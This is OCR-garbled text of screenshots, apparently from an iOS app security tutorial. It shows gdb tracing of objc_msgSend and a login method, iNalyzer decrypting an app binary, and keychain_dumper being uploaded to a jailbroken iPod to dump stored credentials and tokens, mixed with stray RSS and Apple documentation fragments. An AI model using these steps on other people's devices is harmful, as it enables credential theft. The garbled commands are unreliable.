Breakpoint 2, 0x34333f72 in objcmsgsend O

0x208970: @x3e8Bb4cc <0BIC_CLASS_S_UTRoundedRectButton>

0x3709857d: “class"

Breakpoint 2, @x3433372 in objcmsgSend O

0x28970: Ox3egbicc <0BIC_CLASS_S_UTRoundedRectButton>

0x370984cd: “debugbescription”

Breakpoint 2, 0x34333f72 in objc_msgsend O

0x208970: @x3e8Bb4cc <0BIC_CLASS_S_UTRoundedRectButton>

@x370984de: “description”

Breakpoint 2, @x3433372 in objcmsgsend O

0x28970: Ox3egbécc <0BIC_CLASS_S_UTRoundedRectButton>

0x3709857d: “class”

Breakpoint 2, 0x34333f72 in objcmsgSend O

Ox3fa657cc <0BIC_CLASS_S_NSMutableString>: ©x3fa657e0 <0BIC_METACLASS_S_NSutableString>
0x37097417: “stringWithFornat:"

Breakpoint 2, @x3433372 in objcmsgSend O

Ox3fa657cc <0BIC_CLASS_S_NSMutableString>: 0x3fa657€0 <0BIC_METACLASS_S_NSMutableString>
@x370972ch: “allocii thZone: "

Breakpoint 2, 0x34333f72 in objc_msgsend O
0x25a1d0: ©x3fa65830 <0BIC_CLASS_S_NSPlaceholdertutableString>
0x37a0187b: “initHithFornat:locale:arguments: "
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(odb) SUlEs

Type commands for when breakpoint 2 is hit, one per line,
End with a line saying just “end".

>x/a $r0

>x/s $r1

>c

>end
[EOX: |






OEBPS/Images/42509556.jpg
TADQSQC

iNalyzer Packager Applcation security (E1STS)

How to use:

1. Install GraphViz-Dot on PC/Laptop.
2. Install DoxyGen on PC/Laptop
3. Choose Application from the list and click Package

Choose application to Pack: | Sel

e pationt a5 package creation can take  while

4. Save .zip to disk and extract
5. Run Setup.bat(Win) or Setup.sh(Other)
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(gdb) break loginButtonTapped:
Breakpoint 1 at Ox7es22

(gdb)

Continuing.
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Attaching to process 1438.

Reading symbols for shared libraries . done
Reading symbols for shared libraries warning: Could not find object file "/Users
/prateekgianchandani/Library/Developer/Xcode/DerivedData/GOB-Demo-ekqgzzittmzsync
cdndxf jhkomhds,/Build/Intermediates/GOB-Demo. build/Debug-iphoneos/GDB-Demo. build/
Objects-normal/armv7/main.o" - no debug information available for "main.m"

warning: Could not find object file "/Users/prateekgianchandani/Library/Develope
r/Xcode/Deriveddata/GOB-Demo~ekagzzhtmzsymccdndxf jhkonhds,/Build/Intermediates/G0
B-Demo. build/Debug-iphoneas/GDB-Deno. build/Objects-normal /armv7/AppDelegate. 0" ~
1o debug information available for "AppDelegate.n”.

warning: Could not find object file “/Users/prateekgianchandani/Library/Develope
r/Xcode/DerivedData/GOB-Demo-ekqgzzhtmzsynccdndxf jhkonhds/Build/Intermediates/GD
B-Demo. build/Debug~iphoneos,/GDB-Demo. build/Objects-normal/armv7/ViewControl ler.o
- no debug information available for "ViewController.m".

warning: Could not find object file "/Applications/Xcode.app/Contents/Developer/
‘Toolchains/XcodeDefault. xctoolchain/usr/1ib/arc/libarclite_iphoneos.aCarclite.o)
“ - no debug information available for “arclite.m”.
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POUTERGL SChOnEON IV FESN - etk e e

The authenticity of host '192.168.1.71 (192.168.1.71)' can't be established.
RSA key fingerprint is f9:51:bf:01:b6:e9:7:99:bf:88:14:b9:fazed:69:58.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.1.71' (RSA) to the list of known hosts.
r00t0192.168.1.71's password:

Prateeks-iPod:~ root# ||
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Prateeks-iPod:/Applications/iNalyzer5.app root# 15

CodeDirectory dox_tenplatex LogUI.
CodeEntitlements doxita, she TogUL.cy
CoseRequirements footer . htuly Togo. it
CodeResources helper_tnit.cy Logo.png
CodeSignature iNalyzers mi_pyx
Info.plist iNalyzer-Deamon.she  msgD. txts
Henu. st iNalyzerss msgR_ txtx
PkgInfo iNalyzer5.entitlements packipp.shy
ResourceRules. plist iNalyzers.xcent proc.kill
_Codesignatura/ ican.png proc. run
Con.appsec-labs. inalyzers. Shutdown.plist Libsubjc.cy r30c5.5h
con.appsec-labs. 1nalyzers. Startup.plist  ListApp.siw. utills.cy

Prateeks-iPod: /Applications/iNalyzer5.app root#
Prateeks-iPod: /Applicat ions/iNalyzers,app root#
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(gdb) comnands

Type comands for when breakpoint 4 is hit, one per line.
End with a line saying just "end".

>printf "[Xs ¥s]\n",(char *)class_getNane(*#$r0),Sr1

>

>end

(gdo) ¢

Continuing.

Breakpoint 4, 0x34333f72 in objcmsgSend ()
[NSObject self]

Breakpoint 4, x34333f72 in objc_msgSend O
[_NSCFConstantString class]

Breakpoint 4, @x34333f72 in objc_msgSend O
[NSCFConstantString length]

Breakpoint 4, 0x34333f72 in objc_msgSend O
[NSCFConstantString getCharacters: range:]

Breakpoint 4, 9x34333f72 in objcmsgSend O
[NSPathStore2 _fastCharacterContents]

Breakpoint 4, @x34333f72 in objcmsgSend O
[NSPathStore2 length]

Breakpoint 4, @x3433372 in objc_msgSend O
[NSPathStore2 _fastCStringContents:]

Breakpoint 4, @x34333f72 in objc_msgSend ()
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Prateeks-MacBook-Proi~ prateekgianchandanis ssh root@18.0:1.23

r00£210.0.1.23's password.

Pratecks-iPodi~ root#
< /Applications/iNalyzers.app root#

Prateeks-iPo
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Prateeks-iPod:/Applications/iNalyzerS.app root#

g0t parans /var/nobile/ApplicatLons/2586D942-FCAS-489D-AB3IC-BFO3B1B4C30/Defcon. app/ Defcon.app 11 iNalyzer is INalyzing
Deteon

iNalyzéricrack_binary ot /var/mobile/Applications/2586D042-FCAS-489D-AB3C-BFDEIB1BACIB/Detcon. app/Defcon /tmp/iNalyzers_
327b2245/Payload/Defcon. app/Defcon Dumping ARMV7 portion...hellooco polis?

iNatyzer:Creating Snapshot inte ClientFiles

iNatyzer:Snapshot Done

iNslyzer:Populatian Done

iNalyzer:Dumping Headers

iNstyzer:Patehing Heacers
Prateeks e oy |
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Cgdo)
Dump of assembler code for function
0x0007e418 <-[ViewController loginButtonTapped:]+@>:
0x0007e41a <-[ViewController loginButtonTapped:]+2>:
0x0007e41c <-[ViewController loginButtonTapped:J+4>:
0x@007e420 <-[ViewController loginButtonTapped:]+8>:

@x0007e422 <-[ViewController loginButtonTapped:J+10>:
0x0007e424 <-[ViewController loginButtonTapped:J+12>:
@x0007e426 <-[ViewController loginButtonTapped:]+14>:
0x0007e428 <-[ViewController loginButtonTapped:J]+16>:
0x0007e42c <-[ViewController loginButtonTapped:]+20>:
0x0007e430 <-[ViewController loginButtonTapped:]+24>:
0x0007e434 <-[ViewController loginButtonTapped:]+28>:
0x0007¢436 <-[ViewController loginButtonTapped:J+30>:
@x0007e438 <-[ViewController loginButtonTapped:J+32>:
@x0007e43c <-[ViewController loginButtonTapped:]+36>:
@x0007¢440 <-[ViewController loginButtonTapped:]+40>:
0x0007e442 <-[ViewController loginButtonTapped:]+42>:
0x0007e446 <-[ViewController loginButtonTapped:]+46>:
0x0007e44a <-[ViewController loginButtonTapped:]+50>:
0x0007e44c <-[ViewController loginButtonTapped:]+52>:
0x0007e44e <-[ViewController loginButtonTapped:J+54>:
@x0007e450 <-[ViewController loginButtonTapped:J+56>:
0x0007e452 <-[ViewController loginButtonTapped:]+58>:
@x0007e454 <-[ViewController loginButtonTapped:]+60>:
0x0007e456 <-[ViewController loginButtonTapped:]+62>:
0x0007e458 <-[ViewController loginButtonTapped:]+64>:
0x0007e450 <-[ViewController loginButtonTapped:]+66>:
0x0007e45c <-[ViewController loginButtonTapped:]+68>:
0x0007e45e <-[ViewController loginButtonTapped:J+70>:
@x0007e460 <-[ViewController loginButtonTapped:J+72>:
0x0007e462 <-[ViewController loginButtonTapped:]+74>:
@x0007e466 <-[ViewController loginButtonTapped:]+78>:
0x0007e468 <-[ViewController loginButtonTapped:]+80>:
0x0007e46c <-[ViewController loginButtonTapped:]+84>:
0x0007e470 <-[ViewController loginButtonTapped:]+88>:
0x0007e474 <-[ViewController loginButtonTapped:]+92>:
0x0007¢476 <-[ViewController loginButtonTapped:J+94>:
@x0007e47a <-[ViewController loginButtonTapped:]+98>:

push

STETEETET

g

2282889

dr
1dr

3

1dr
dr
str

g

dr
blx

H

blx
movs

138348

0x0007e47e <-[ViewController loginButtonTapped:]+102>: add

ewController loginButtonTapped:]:

1r4, r5, 16, r7, 1r}
7, sp, #12

r8, [sp, #-411

sp, #112

10, [sp, #1081

r1, [sp, #104]

9, r2

0x77fdd <dyld_stub_objc_retaim>
1, #7244 3 Oxicc

L, 0 ;00
1, pc

r1, [r1, #]
r2, #3848
2,2 ;o0
r2, pc

r3, #9098

3, %0 ;00
3, pc

9, [sp, #1001
0, [sp, #108]
r3, [r3, #]
0, r3

ro, [ro, #0]
r2, [r2, #]
r1, [sp, #88]
1, 2

r2, [sp, #38]
2

7, 17
@x7ffd4 <dyld_stub_objc_retainAutoreleasedReturnvalue>
r1, #0

rl, # ; 0x0
r2, #9368

2, #0 ;00
r2, pc

3, #7170

3, # ;00
3, pc

5 0x2290

3 oxz38a

5 0x2498

5 Oxicoz
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Prateeks-1Pod: /Applications/iNslyzerS.app roots
got parans /var/mobile/Applications/25860942-F CAS-4800-A83C-BFDE38184C30/Defcon. app/ Defcon.app 11 iNolyzer Ls iNalyzing
Defeon...

iNalyzericrack_binary got /var/mobile/Applications/25860942-FCAS-489D-AB3C-BFD63B1B4C30/Detcon. app/Detcon /tmp/ iNatyzers_
32752245/Pay103¢/Detcon. app/Defcon Dumplng ARMVT portion. . hellooco polis?

iNalyzer:Creating SnapShot into Clientfiles

iNatyzer:SnapShot Done.

iNalyzer:Population Done

iNalyzer:Dumping Headers

iNalyzer:Patching Headers

Compressing Gecrypted application (2/2).. [semmmsmamss:

123
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Continuing.

Reading synbols for shared libraries ... done
Reading synbols for shared libraries .. done
Reading symbols for shared libraries ...... done

lmwim 1, 0x0007e422 in ~[VienController loginButtonTapped:] O
| (gdb)
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Prateeks-iPod: /Applications/iNalyzerS.app root# pwd
/hsplications/iNalyzers. app

Pratecks-1Pog: /Applicatians/iNalyzerS.app roots W/ANAIYEEFS

Usage: ./iNalyzerS [application nane] [.-.]

Applications available: §50 379 weather Angryfirds8lack-ifhons AngrydirdsRio
Free AngrybirdsSpace-iFhane ATN BatteryDoctoriite BookMyShow CloudReaders Do
fcon GeaDoTt GmailMybrid iBuoks McAfee Theeat Alert NASA NASA TV Fath Shazan
Snopchat Spotify TED Whitoboard Wikltuds WordPress

Prateeks-iPod: /Applications/iNalyzerS. app root# |
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ARM (ecit)
The standard ARM calling convention allocates the 16 ARM registers as:

« r15 s the program counter.

« 114 s the link register. (The BL instruction, used in  subroutine call, stores the retumn address in this register).

» 13 s the stack pointer. (The Push/Pop instructions in "Thumb? operating mode use this register only).

« 121 the Intra-Procedure-call scratch register.

* r4to 11 used to hold local variables.

« 1010 13: used o hold argument values passed to a subrotine, and also hold results retumed from a subroutine.
11 the type of value retumed is too large to fit n 10 to 13, or whose size cannot be determined statically at compile time, then the caller must allocate space for that value at run time, and pass a pointer to that
space in 0.
Subroltines must preserve the contents of r4 to r11 and the stack pointer. (Perhaps by saving them to the stack in the function prologue, then using them as scratch space, then restoring them from the stack
in the function epilogue). In particular, subroutines that call other subroutines “must* save the retur address in the link register r14 to the stack before calling those other subroutines. However, such subroutines
do not need to return that value to rid—they merely need to load that value into r15, the program counter, to return.
The ARM stack is full-descending.
“This calling convention causes a "typical’ ARM subroutine to

« In the prolog, push ré o r11 to the stack, and push the retum address in r14, to the stack. (This can be done with a single STM instruction).
« copy any passed arguments (in 10 to 3] to the local scratch registers (14 to ri1).

+ allocate other local variables to the remaining local scratch registers (14 to r11).

« do calculations and call other subroutines as necessary using BL, assuming r0 to 13, r12 and r14 will not be preserved.

« put the resultin 10

= In the epilog, pul r4 to r11 from the stack, and pulls the retum address to the program counter r15. (This can be done with a single LM instruction).
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Constants

KkSechttriccessiblenfterFirstUnlock
The data in the keychain item cannot be accessed after a restart unti
next restart. Tl
backups.
Available in i0S 4.0 and later.
Declared in SecTten. b

the device has been unlocked once by the user. After the first unlock, the data remains accessible until the
i recommended for items that need to be accessed by background applications. Items with this attribute migrate to a new device when using encrypted

KSecAttrhccessibleAfterPirstUnlockThisDeviceOnly
The data in the keychain item cannot be accessed after a restart until the device has been unlocked once by the user. After the first unlock, the data remains accessible until the
next restart. This is recommended for items that need to be accessed by background applications. ltems with this attribute do not migrate to a new device or new installation
Thus, after restoring from a backup, these items will not be present.
Available in i0S 4.0 and later.

Declared in SecTten. b

KSecAttrhcoessibleAlvays
The data in the keychain item can always be accessed regardless of whether the device is locked. This is not recommended for application use. ltems with this attribute migrate
to a new device when using encrypted backups.

Available in i0S 4.0 and later.
Declared in SecTten. b

KSecAttrhccessiblelwaysThisDeviceOnly
The data in the keychain item can always be accessed regardless of whether the device is locked. This is not recommended for application use. ltems with this attribute do not
migrate to a new device or new installation. Thus, after restoring from a backup, these items will not be present.

Available in i0S 4.0 and later.
Declared in SecTten

KSechternccossiblaihentnlocked
‘The data in the keychain item can be accessed only while the device is unlocked by the user. This is recommended for items that need to be accesible only while the application
is in the foreground. Items with this attribute migrate to a new device when using encrypted backups.

Available in i0S 4.0 and later.
Declared in SecTten. b
KSechttrhccessibleWhennlockedThisDeviceonly

The data in the keychain item can be accessed only while the device is unlacked by the user, This is recommended for items that need to be accesible only while the application
is i the foreground. Items with this attribute do not migrate to a new device or new installation. Thus, after restoring from a backup, these items will not be present.

Available in i0S 4.0 and later.
Declared in SecTten. b
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stites headers on

111111493390978.870969 1 Fri, 11 Oct 2013 19:00:16 +0000
' Inttp://feedproxy.google. con/~r/TheAppleBlog/~3/_6HKVINySU/
IIn o world where an endless runner meets up with o puzzle game, you find that your imaginative use of colors will paint your path
to freedom.<img alt="" border="8" src="http://stats.wordpress.con/b.gif?host=gigaom. conk#38;blog=1496084384038; post=7003208#038; subd=gigaom2&#d3
' 8;ref-8#038; feed=1" width="1" height="1" />
IGames for the weekend: Nihilumbra

211111403390978.996537 |Fri, 11 Oct 2013 17:55:27 +0000
Ihttp://feedproxy. google. con/~r/ TheAppleBlog/~3/18]vtéuuQnd/
' IMant to see what the stars are watching on YouTube? Celebrity Tweet TV turns all of their shared videos into a TV channel.<ing al
t="" border="0" src="http://stats.wordpress. con/b.gif7host=gigaom. coni#038; blog=149608438#038; post=739538#038; subd=gi gaomZA#O38 ; ref=ia#038; Feed=1"
width="1" height="1" />
INew 105 app turns Kim Kardashian’s tweets into a TV channel

11111403390979.001505 Fri, 11 Oct 2013 13:50:05 +0000

Ihttp: //feedproxy.google. com/~r/TheAppLeBlog/~3/0T-2Q0WKFPW/

IAccording to a new study, app crashes could be twice as comon on the iPhone 55 compared to the iPhone 5 and iPhone Sc.<ing alt="
* border="0" src="http://stats.wordpress. con/b.giFPhost=gigaom. conii#d38; blog=14960843#038; post=7038244#038; Subd=gi gaOnZ8#038; ref-8#038; feed=1" wi
dtha"1" height="1" />

IStudy shows apps are twice as likely to crash on the iPhone Ss

411111403390979.0060041Fri, 11 Oct 2013 13:33:49 +0000

Ittp://feedproxy.google. com/~r/TheAppleBLog/~3/Cvxj5XvetCs/

11 you’re Looking to buy an iPhone, now’s a good time: Best Buy is offering 3109 off an iPhone Sc or an iPhone 55 for trading in
your old smartphone.<img alt="" border="0" src="http://stats.wordpress.con/b.gif?host=gigoom. cond#038; b10g=1496084384038; post=70380644038; subd=gig
CONZ8#038; ref=44036; feed=1" width="1" height="1" />

IBest Buy offering free iPhone Sc, $109 iPhone Ss for trading in your old smartphone
]
511111403390979.009793 1 Thu, 10 Oct 2013 19:44:57 +0000
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Breakpoint 3, @x000e95fe in -[ViewController loginButtonTapped:] O

(o) disas

bunp of assembler code for function ~[ViewController loginButtonTapped:]:

0x000e9578 <-[ViewController loginButtonTapped:J+@>:  push
0x000e95fa <-[ViewController loginButtonTapped:Js2>:  mov.
0x000e95fc <-[ViewController loginButtonTapped:Jsd>:  sub
0x000e95e <-[ViewController loginButtonTapped:J+6>:  str
0x000e9600 <-[ViewController loginButtonTapped:Js8>:  str
0x000e9602 <-[ViewController loginButtonTapped:1+10>:  mov
0x000e9604 <-[ViewController loginButtonTapped:1+12>:  [3EY
@x000e9608 <-[VienController loginButtonTapped:]+16>;  moww

17, 1r}
7, sp

sp, #40

9, [sp, #36]

r1, [sp, #32]

o, r2

@xeafdd <dyld_stub_objc_retain>
r, #6772 ; Ox1a74
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Label: (null)
Generic Fiel
Keychain Dat

oauth
prateek .co.in

Generic Password

com.apple. certui

https: mail.google.con - 99afbbc2 1037445b 0243275
Entitlement Group: com.apple.cfnetuork

Label: {nutl)

Generic Field: <8afbbc2 “1ee78 3937645h 8b243a75>

Keychain Data: (nutl)

Generic Password

Service: com.apple.certui

Account: https: mail-attachment.googleusercontent.con — a91b563 5743 @9cT67ee S6cl6
Entitlement Group: com.apple.cfnetwork

Label: (null)

Generic Field: <albse3s fbf79esd

Keychain Data: (null)

Generic Password

Service: <53706f74 6966792 62617365>

Account: 64657669 63654964>

Entitlement Group: BNEGHEATDD. com.spotify.client
Label: (nutl)

Generic Field: (nulll

Keychain Data: 65b6 1856fc514

Internet Password
Server: sntp.gnail.com

Account: prateek. searchingeyeggnail. con
Entitlement Group: apple

Label: (null)

Keychain Data: imis
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Cgdb)
Examine memory: Xx/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is o repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), aCaddress), iCinstruction), c(char) and s(string),
T(OSType), A(floating point values in hex).
Size letters are b(byte), h(halfword), w(word), glgiant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1. Defoult address is following last thing printed
with this command or “print”.
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Breakpoint 2, @x34333f72 in objc_msgSend O
Cadb) |
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Prateeks—iPod:/tnp root# ./keychain_gumper
Generic Password

Account sackup
Entitlement uroup: apple
Label: (null)

Generic Fiel
Keychain Dat.

(nutny
3141

Generic Passward
Apple-token-sync

prateek. searchingeyeggnail. con
Entitlement Group: appleaccount

Label: (nutl)

Generic Fiel

Keychain Data:

(nutt)
AQAAAABPB/ Naos:

Generic Password

push. apple. con

Entitlement Group: com.apple.apsd
Label: APSPublicTokens
Generic Field: (null)
Keychain Data: (nutl)

Generic Password

Service: ids

Account: ident ity-rsa-public-key
Entitlement Group: apple

Label: {nutl)

Generic Fiel

(utt)
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Prateeks-iPod:
Prateeks-iPod

tmp root# chmod +r /private/var/Keychains/keychain-2.db
tnp root# I
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objc_msgSend

Sends a message with a simple return value to an instance of a class.
id obje magSend(id self, SEL op, ..}

Parameters

self
A pointer that points to the instance of the class that is to receive the message.

op
The selector of the method that handles the message.

Avariable argument list containing the arguments to the method.

Return Value
The return value of the method.

Discussion

When it encounters a method call, the compiler generates a call to one of the functions objc_negSend, objc_msgSend_stzet, objc_msgSendSuper, or

=ot. Messages sent to an object's superclass (using the super keyword) are sent using objc_msgSendSuper: other messages are sent using objc_nagSend.
stret

objc_nsgSendSuper_
Methods that have data structures as return values are sent using obic_msgSendSuper_stret and objc_megs

Availability
Available in OS X v10.0 and later.
Declared In

objc/message. h
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Prateeks-MacBook-Pro:Docunents prateekgianchandanis sftp root@192.168.0.101
r00te192.168.0.101's password:

Connected to 192.168.0.101.

sftp> cd /tmp

sftp> put keychain_dumper

Uploading keychain_dunper to /private/var/tmp/keychain_dumper

keychain_dumper 100% 258 25.1KB/s  ©8:00
sftp> "D

Prateeks-MacBook-Pro:Documents prateekgianchandanis ssh roote192.168.0.101
r00te192.168.0.101'5 password:

Prateeks-iPad:~ roat# cd /tmp

Prateeks-iPod:/tp root# chmod a+x keychain_dumper

Pratesks-iPoc:/tmp root# I
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« 10 to r3: used to hold argument values passed to a subroutine, and also hold results returned from a subroutine.
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protection_class String WhenUnlocked

mdat Date Feb 26, 2013 7:47:54 AM
acct string 00X account password.
agrp String IEBEWSI7HZ 300000 X0
cdat Date Feb 26, 2013 7:47:54 AM

pamn String. ak
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protection_class AfterfirstUnlock

mdat Feb 26, 2013 5:31:54 AM
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